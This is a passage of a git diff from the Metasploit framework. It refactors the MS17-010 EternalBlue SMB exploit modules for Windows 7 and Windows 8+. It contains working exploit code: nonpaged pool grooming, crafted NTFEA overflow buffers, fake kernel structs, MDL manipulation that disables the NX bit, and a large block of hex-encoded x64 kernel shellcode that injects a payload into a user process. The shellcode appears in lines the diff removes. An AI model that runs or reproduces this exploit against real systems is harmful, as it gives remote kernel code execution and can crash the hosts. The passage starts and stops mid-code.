server_challenge) + + pkt.parameter_block.reserved = pwd_unicode.length + pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + "\x00" * 16 + + recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(auth_conn.send_recv(pkt)) + + if recv_pkt.status_code.value == 0 + print_good('SMB1 session setup allocate nonpaged pool success') + return auth_conn, auth_sock + end + auth_conn.disconnect! + end + + print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}") + return nil + end + + def generate_fea_list_nx + # fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa + # PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800 + # NX bit is at PTE_ADDR+7 + # MappedSystemVa = PTE_ADDR+7 - 0x7f + shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000 + pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12) + fake_srv_net_buffer_x64nx = "\x00" * 16 + fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') + fake_srv_net_buffer_x64nx += "\x00" * 16 + fake_srv_net_buffer_x64nx += "\x00" * 16 + fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<') + fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct + fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<') + fake_srv_net_buffer_x64nx += "\x00" * 16 + fake_srv_net_buffer_x64nx += "\x00" * 16 + fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags + fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa + + fea_list_nx = [0x10000].pack('I<') + fea_list_nx += NTFEA_9000 + fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name + # stop copying by invalid flag (can be any value except 0 and 0x80) + fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<') + + fea_list_nx + end + + def default_session_setup_request + p = RubySMB::SMB1::Packet::SessionSetupRequest.new + p.parameter_block.max_buffer_size = 61440 + p.parameter_block.max_mpx_count = 50 + p.smb_header.flags2.extended_security = 1 + + p + end + + # Returns the value to be passed to SMB clients for + # the password. If the user has not supplied a password + # it returns an empty string to trigger an anonymous + # logon. + # + # @return [String] the password value + def smb_pass + if datastore['SMBPass'].present? + datastore['SMBPass'] + else + '' + end + end + + # Returns the value to be passed to SMB clients for + # the username. If the user has not supplied a username + # it returns an empty string to trigger an anonymous + # logon. + # + # @return [String] the username value + def smb_user + if datastore['SMBUser'].present? + datastore['SMBUser'] + else + '' + end + end + + # Returns the value to be passed to SMB clients for + # the domain. If the user has not supplied a domain + # it returns an empty string to trigger an anonymous + # logon. + # + # @return [String] the domain value + def smb_domain + if datastore['SMBDomain'].present? + datastore['SMBDomain'] + else + '' + end + end + + class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket + COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX + + class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock + end + + class DataBlock < RubySMB::SMB1::DataBlock + # Key difference for this class is that the length of security_blob is NOT dictated by the value of + # security_blob_length in the +SessionSetupRequest::ParameterBlock+ + string :security_blob, label: 'Security Blob (GSS-API)' + string :native_os, label: 'Native OS' + string :native_lan_man, label: 'Native LAN Manager' + end + + smb_header :smb_header + parameter_block :parameter_block + data_block :data_block + end + + class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client + def send_recv(packet, encrypt: false) + version = packet.packet_smb_version + case version + when 'SMB1' + packet.smb_header.uid = user_id if user_id + packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0 + packet = smb1_sign(packet) + when 'SMB2' + packet = increment_smb_message_id(packet) + packet.smb2_header.session_id = session_id + unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) + if smb2 + packet = smb2_sign(packet) + elsif smb3 + packet = smb3_sign(packet) + end + end + end + + encrypt_data = false + if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt) + encrypt_data = true + end + send_packet(packet, encrypt: encrypt_data) + raw_response = recv_packet(encrypt: encrypt_data) + smb2_header = nil + unless version == 'SMB1' + loop do + smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response) + break unless is_status_pending?(smb2_header) + + sleep 1 + raw_response = recv_packet(encrypt: encrypt_data) + rescue IOError + # We're expecting an SMB2 packet, but the server sent an SMB1 packet + # instead. This behavior has been observed with older versions of Samba + # when something goes wrong on the server side. So, we just ignore it + # and expect the caller to handle this wrong response packet. + break + end + end + + self.sequence_counter += 1 if signing_required && !session_key.empty? + # update the SMB2 message ID according to the received Credit Charged + self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit + raw_response + end + + def login(username: self.username, password: self.password, + domain: self.domain, local_workstation: self.local_workstation, + ntlm_flags: default_flags, session_setup_packet: nil, + session_setup_auth_packet: nil) + negotiate + session_setup(username, password, domain, + local_workstation: local_workstation, + ntlm_flags: ntlm_flags, + session_setup_packet: session_setup_packet, + session_setup_auth_packet: session_setup_auth_packet) + end + + def session_setup(user, pass, domain, + local_workstation: self.local_workstation, ntlm_flags: default_flags, + session_setup_packet: nil, session_setup_auth_packet: nil) + @domain = domain + @local_workstation = local_workstation + @password = pass.encode('utf-8') || ''.encode('utf-8') + @username = user.encode('utf-8') || ''.encode('utf-8') + + @ntlm_client = Net::NTLM::Client.new( + @username, + @password, + workstation: @local_workstation, + domain: @domain, + flags: ntlm_flags + ) + + authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet) + end + + def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil) + if smb1 + if username.empty? && password.empty? + smb1_anonymous_auth + else + smb1_authenticate(session_setup_packet: smb1_setup_pkt, + session_setup_auth_packet: smb1_setup_auth_pkt) + end + else + smb2_authenticate + end + end + + def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil) + response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet) + challenge_packet = smb1_ntlmssp_challenge_packet(response) + + # Store the available OS information before going forward. + @peer_native_os = challenge_packet.data_block.native_os.to_s + @peer_native_lm = challenge_packet.data_block.native_lan_man.to_s + user_id = challenge_packet.smb_header.uid + type2_b64_message = smb1_type2_message(challenge_packet) + type3_message = @ntlm_client.init_context(type2_b64_message) + @session_key = @ntlm_client.session_key + challenge_message = @ntlm_client.session.challenge_message + store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO) + @os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty? + + raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet) + response = smb1_ntlmssp_final_packet(raw) + response_code = response.status_code + + @user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS + response_code + end + + def smb1_ntlmssp_negotiate(session_setup_packet: nil) + packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet) + send_recv(packet) + end + + def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil) + packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet) + send_recv(packet) + end + + def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil) + if session_setup_packet.nil? + packet = RubySMB::SMB1::Packet::SessionSetupRequest.new + packet.smb_header.uid = user_id + packet.set_type3_blob(type3_message.serialize) + packet.parameter_block.max_mpx_count = 50 + packet.smb_header.flags2.extended_security = 1 + + packet + else + if session_setup_packet.data_block.security_blob.empty? + session_setup_packet.set_type3_blob(type3_message.serialize) + end + if session_setup_packet.smb_header.uid == 0 + session_setup_packet.smb_header.uid = user_id + end + if session_setup_packet.parameter_block.max_buffer_size == 0 + session_setup_packet.parameter_block.max_buffer_size = max_buffer_size + end + if session_setup_packet.smb_header.pid_low == 0 + session_setup_packet.smb_header.pid_low = pid + end + + session_setup_packet + end + end + + def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil) + type1_message = ntlm_client.init_context + + if session_setup_packet.nil? + packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet + packet.set_type1_blob(type1_message.serialize) + packet.parameter_block.max_mpx_count = 50 + packet.smb_header.flags2.extended_security = 1 + + packet + else + if session_setup_packet.data_block.security_blob.empty? + session_setup_packet.set_type1_blob(type1_message.serialize) + end + + session_setup_packet + end + end + end +end + +module EternalBlueWin7 + require 'ruby_smb' + require 'ruby_smb/smb1/packet' + require 'windows_error' + + include Msf::Exploit::Remote::DCERPC + + class EternalBlueError < StandardError + end + + def exploit_eb begin for i in 1..datastore['MaxExploitAttempts'] grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1) @@ -182,7 +1148,7 @@ class MetasploitModule < Msf::Exploit::Remote def smb_eternalblue(process_name, grooms) begin # Step 0: pre-calculate what we can - shellcode = make_kernel_user_payload(payload.encode, process_name, 0, 0, 0, 0) + shellcode = make_kernel_user_payload(payload.encoded, process_name) payload_hdr_pkt = make_smb2_payload_headers_packet payload_body_pkt = make_smb2_payload_body_packet(shellcode) @@ -246,7 +1212,7 @@ class MetasploitModule < Msf::Exploit::Remote sock.put(final_exploit_pkt) print_status('Receiving response from exploit packet') - code, raw = smb1_get_response(sock) + code, _raw = smb1_get_response(sock) code_str = '0x' + code.to_i.to_s(16).upcase if code.nil? @@ -319,16 +1285,6 @@ class MetasploitModule < Msf::Exploit::Remote end end - ' - # - # Increase the default delay by five seconds since some kernel-mode - # payloads may not run immediately. - # - def wfs_delay - super + 5 - end - ' - def smb2_grooms(grooms, payload_hdr_pkt) grooms.times do |_groom_id| gsock = connect(false) @@ -592,105 +1548,6 @@ class MetasploitModule < Msf::Exploit::Remote packet end - # ring3 = user mode encoded payload - # proc_name = process to inject APC into - # ep_thl_b = EPROCESS.ThreadListHead.Blink offset - # et_alertable = ETHREAD.Alertable offset - # teb_acp = TEB.ActivationContextPointer offset - # et_tle = ETHREAD.ThreadListEntry offset - def make_kernel_user_payload(ring3, proc_name, _ep_thl_b, _et_alertable, _teb_acp, _et_tle) - sc = make_kernel_shellcode(proc_name) - sc << [ring3.length].pack('S<') - sc << ring3 - sc - end - - def generate_process_hash(process) - # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm - proc_hash = 0 - process << "\x00" - process.each_byte do |c| - proc_hash = ror(proc_hash, 13) - proc_hash += c - end - [proc_hash].pack('l<') - end - - def ror(dword, bits) - (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF - end - - def make_kernel_shellcode(proc_name) - # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm - # Length: 1019 bytes - - # "\xcc"+ - "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" \ - "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" \ - "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" \ - "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" \ - "\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" \ - "\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" \ - "\x00\x00\x00\x41\x53\x6A\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55" \ - "\x48\x81\xEC\x58\x01\x00\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48" \ - "\x89\x9D\xC0\x00\x00\x00\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5" \ - "\xD0\x00\x00\x00\x48\xA1\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89" \ - "\xC2\x48\xC1\xEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00" \ - "\x00\xC0\x0F\x30\xFB\xE8\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25" \ - "\xA8\x01\x00\x00\x48\x83\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C" \ - "\x41\x5B\x41\x5A\x41\x59\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65" \ - "\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F" \ - "\xD0\xFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5" \ - "\x66\x83\xE4\xF0\x48\x83\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65" \ - "\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C" \ - "\x49\xC1\xE7\x0C\x49\x81\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81" \ - "\xFE\x4D\x5A\x75\xEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00" \ - "\x48\x89\xC6\x48\x81\xC6\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30" \ - "\xE8\x03\x02\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90" \ - "\x00\x05\x00\x00\x48\x39\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B" \ - "\x36\x48\x39\xCE\x75\xE2\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04" \ - "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" \ - "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" \ - "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" \ - "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + generate_process_hash(proc_name.upcase) + "\x75\xBC\x49" \ - "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" \ - "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" \ - "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" \ - "\xC9\x48\x89\x0A\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC" \ - "\x20\xE8\x52\x01\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B" \ - "\x3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00" \ - "\x00\x66\x81\xC1\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03" \ - "\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1" \ - "\x48\x83\xEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48" \ - "\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00" \ - "\x00\x48\x85\xC0\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05" \ - "\x72\x05\x48\x8B\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2" \ - "\x80\xC2\x90\x31\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00" \ - "\x48\x89\xC1\x4C\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89" \ - "\xE2\x49\x89\xC4\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41" \ - "\x50\x48\x83\xEC\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00" \ - "\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09" \ - "\x9E\xE8\x82\x00\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8" \ - "\x74\x00\x00\x00\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00" \ - "\x00\x00\x48\x89\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E" \ - "\xC3\xE9\xB5\x00\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D" \ - "\x3C\x61\x7C\x02\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2" \ - "\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12" \ - "\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C" \ - "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39" \ - "\xD9\x75\xDA\x4C\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52" \ - "\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" \ - "\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" \ - "\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" \ - "\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" \ - "\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" \ - "\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" \ - "\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" \ - "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" \ - "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" \ - "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3" # \x01\x00\xC3" - end - # Sets common SMB1 Header values used by the various # packets in the exploit. # diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb deleted file mode 100644 index 4ab5729c66..0000000000 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb +++ /dev/null @@ -1,959 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'ruby_smb' -require 'ruby_smb/smb1/packet' -require 'rubyntlm' -require 'net/ntlm' - -class MetasploitModule < Msf::Exploit::Remote - Rank = AverageRanking - MAX_SHELLCODE_SIZE = 3712 - - # debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is. - # The 0xffffffffffd00000 address should be useable when debug mode is not enabled - # The 0xffffffffffd01000 address should be useable when debug mode is enabled - TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode - - # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 - NTFEA_SIZE = 0x9000 - - NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] + - Net::NTLM::FLAGS[:KEY128] + - Net::NTLM::FLAGS[:TARGET_INFO] + - Net::NTLM::FLAGS[:NTLM2_KEY] + - Net::NTLM::FLAGS[:NTLM] + - Net::NTLM::FLAGS[:REQUEST_TARGET] + - Net::NTLM::FLAGS[:UNICODE] - - NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80 - [0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c - [0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR - - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - - include Msf::Exploit::Remote::Tcp - - # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler() - # x64: fake struct is at ffffffff ffd00e00 - # offset 0x50: KSPIN_LOCK - # offset 0x58: LIST_ENTRY must be valid address. cannot be NULL. - # offset 0x110: array of pointer to function - # offset 0x13c: set to 3 (DWORD) for invoking ptr to function - # some useful offset - # offset 0x120: arg1 when invoking ptr to function - # offset 0x128: arg2 when invoking ptr to function - # - # code path to get code exception after this struct is controlled - # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr - def fake_recv_struct - struct = "\x00" * 80 - struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<') - struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60 - struct << ("\x00" * 16) * 10 - struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array - struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150 - struct << [0, 0, 3].pack('QII<') # offset 0x130 - struct << ("\x00" * 16) * 3 - struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address - struct - end - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+', - 'Description' => %q{ - EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya - The exploit might FAIL and CRASH a target system (depended on what is overwritten) - The exploit support only x64 target - - Tested on: - - Windows 2012 R2 x64 - - Windows 8.1 x64 - - Windows 10 Pro Build 10240 x64 - - Windows 10 Enterprise Evaluation Build 10586 x64 - - - Default Windows 8 and later installation without additional service info: - - anonymous is not allowed to access any share (including IPC$) - - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows - - tcp port 445 is filtered by firewall - - - Reference: - - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit - - - Exploit info: - - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at - https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same - - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000). - On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP. - - The exploit is likely to crash a target when it failed - - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. - - If exploit failed but target does not crash, try increasing 'GroomAllocations' value (at least 5) - - See the code and comment for exploit detail. - - - Disable NX method: - - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference) - - The exploit is also the same but we need to trigger bug twice - - First trigger, set MDL.MappedSystemVa to target pte address - - Write '\x00' to disable the NX flag - - Second trigger, do the same as Windows 7 exploit - - From my test, if exploit disable NX successfully, I always get code execution - }, - 'Author' => - [ - 'Equation Group', # OG research and exploit - 'Shadow Brokers', # Hack and dump - 'sleepya', # Research and PoC - 'wvu', # Babby's first external module - 'agalway-r7', # External python module to internal ruby module (sorry wvu) - 'cdelafuente-r7', # ruby_smb wizard - 'cdelafuente-r7' # kernel debugging wizard - ], - 'References' => - [ - ['MSB', 'MS17-010'], - ['CVE', '2017-0143'], - ['CVE', '2017-0144'], - ['CVE', '2017-0145'], - ['CVE', '2017-0146'], - ['CVE', '2017-0147'], - ['CVE', '2017-0148'], - ['EDB', '42030'], - ['URL', 'https://github.com/worawit/MS17-010'] - ], - 'Date' => 'Mar 14 2017', - 'Privileged' => true, - 'DefaultOptions' => - { - 'wfsdelay' => 3 - }, - 'Targets' => - [ - [ - 'Windows 8.1, Windows 2012, Windows 10 Pro Build Server 2008 R2, and Windows 10 Enterprise Evaluation Build', - { - 'Platform' => 'win', - 'Arch' => [ARCH_X64], - 'os_patterns' => ['Windows 2012', 'Windows 8.1', 'Windows 10 Pro Build', 'Windows 10 Enterprise Evaluation Build'] - } - ] - ], - 'Notes' => { - 'AKA' => ['ETERNALBLUE'] - }, - 'DisclosureDate' => '2017-03-14' - ) - ) - - register_options( - [ - Opt::RPORT(445), - OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', '']), - OptString.new('SMBPass', [false, '(Optional) The password for the specified username', '']) - ] - ) - - register_advanced_options( - [ - OptString.new('ProcessName', [false, 'Process to inject payload into.', 'spoolsv.exe']), - OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]) - ] - ) - end - - def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil) - begin - sock = Rex::Socket::Tcp.create( - 'PeerHost' => rhost, - 'PeerPort' => rport, - 'Proxies' => proxies, - 'Context' => { - 'Msf' => framework, - 'MsfExploit' => self - } - ) - - dispatcher = RubySMB::Dispatcher::Socket.new(sock) - client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false, - username: smb_user, domain: smb_domain, password: smb_pass, - ntlm_flags: NTLM_FLAGS) - - if negotiate_only - client.negotiate - return client, nil, sock - else - response_code = client.login(ntlm_flags: NTLM_FLAGS, - session_setup_packet: session_setup_packet, - session_setup_auth_packet: session_setup_auth_packet) - - unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS - raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}" - end - - tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$") - end - - return client, tree, sock - rescue StandardError => e - print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'") - elog('Could not make SMBv1 connection', error: e) - - # for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous - # login. - if client - client.disconnect! - end - - raise e - end - end - - def send_trans2_second(conn, tid, pid, data, displacement) - pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new - pkt.smb_header.tid = tid - pkt.smb_header.pid_low = pid - - pkt.parameter_block.total_parameter_count = 0 - pkt.parameter_block.total_data_count = data.length - - fixed_offset = 32 + 3 + 18 - pkt.data_block.pad1 = '' - - pkt.parameter_block.parameter_count = 0 - pkt.parameter_block.parameter_offset = 0 - - if !data.empty? - pad_len = (4 - fixed_offset % 4) % 4 - - if pad_len == 0 - pkt.data_block.pad1 = '' - elsif pad_len == 3 - pkt.data_block.pad1 = "\x00" * 2 - pkt.data_block.pad1 = "\x00" - else - pkt.data_block.pad1 = "\x00" * pad_len - end - else - pkt.data_block.pad1 = '' - pad_len = 0 - end - - pkt.parameter_block.data_count = data.length - pkt.parameter_block.data_offset = fixed_offset + pad_len - pkt.parameter_block.data_displacement = displacement - - pkt.data_block.trans2_parameters = '' - pkt.data_block.trans2_data = data - - pkt.smb_header.flags2.extended_security = 1 - pkt.smb_header.flags2.paging_io = 0 - pkt.smb_header.flags2.unicode = 0 - - pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s) - - conn.send_packet(pkt) - end - - # connect to target and send a large nbss size with data 0x80 bytes - # this method is for allocating big nonpaged pool on target - def create_connection_with_big_smb_first_80(for_nx: false) - sock = connect(false) - pkt = "\x00".b + "\x00".b + [0x8100].pack('S>') - # There is no need to be SMB2 because we want the target free the corrupted buffer. - # Also this is invalid SMB2 message. - # I believe NSA exploit use SMB2 for hiding alert from IDS - # pkt += '\xfeSMB' # smb2 - # it can be anything even it is invalid - pkt += "\x01\x02\x03\x04" - - if for_nx - # MUST set no delay because 1 byte MUST be sent immediately - sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) - pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX - else - pkt += "\x00" * 0x7c - end - - sock.send(pkt, 0) - sock - end - - def send_big_trans2(conn, tid, pid, setup, data, param) - first_data_fragment_size = data.length % 4096 - - pkt = RubySMB::SMB1::Packet::NtTrans::Request.new - pkt.smb_header.tid = tid - - pkt.smb_header.pid_low = pid - - command = [setup].pack('S<') - - pkt.parameter_block.max_setup_count = 1 - pkt.parameter_block.max_parameter_count = param.length - pkt.parameter_block.max_data_count = 0 - - pkt.parameter_block.setup << 0x0000 - pkt.parameter_block.total_parameter_count = param.length - pkt.parameter_block.total_data_count = data.length - - fixed_offset = 32 + 3 + 38 + command.length - if !param.empty? - pad_len = (4 - fixed_offset % 4) % 4 - pad_bytes = "\x00" * pad_len - pkt.data_block.pad1 = pad_bytes - else - pkt.data_block.pad1 = '' - pad_len = 0 - end - - pkt.parameter_block.parameter_count = param.length - pkt.parameter_block.parameter_offset = fixed_offset + pad_len - - if !data.empty? - pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4 - pkt.data_block.pad2 = "\x00" * pad_len - else - pkt.data_block.pad2 = '' - pad_len = 0 - end - - pkt.parameter_block.data_count = first_data_fragment_size - pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len - - pkt.data_block.trans2_parameters = param - pkt.data_block.trans2_data = data.first(first_data_fragment_size) - - pkt.smb_header.flags2.paging_io = 0 - pkt.smb_header.flags2.extended_security = 1 - - recv_pkt = 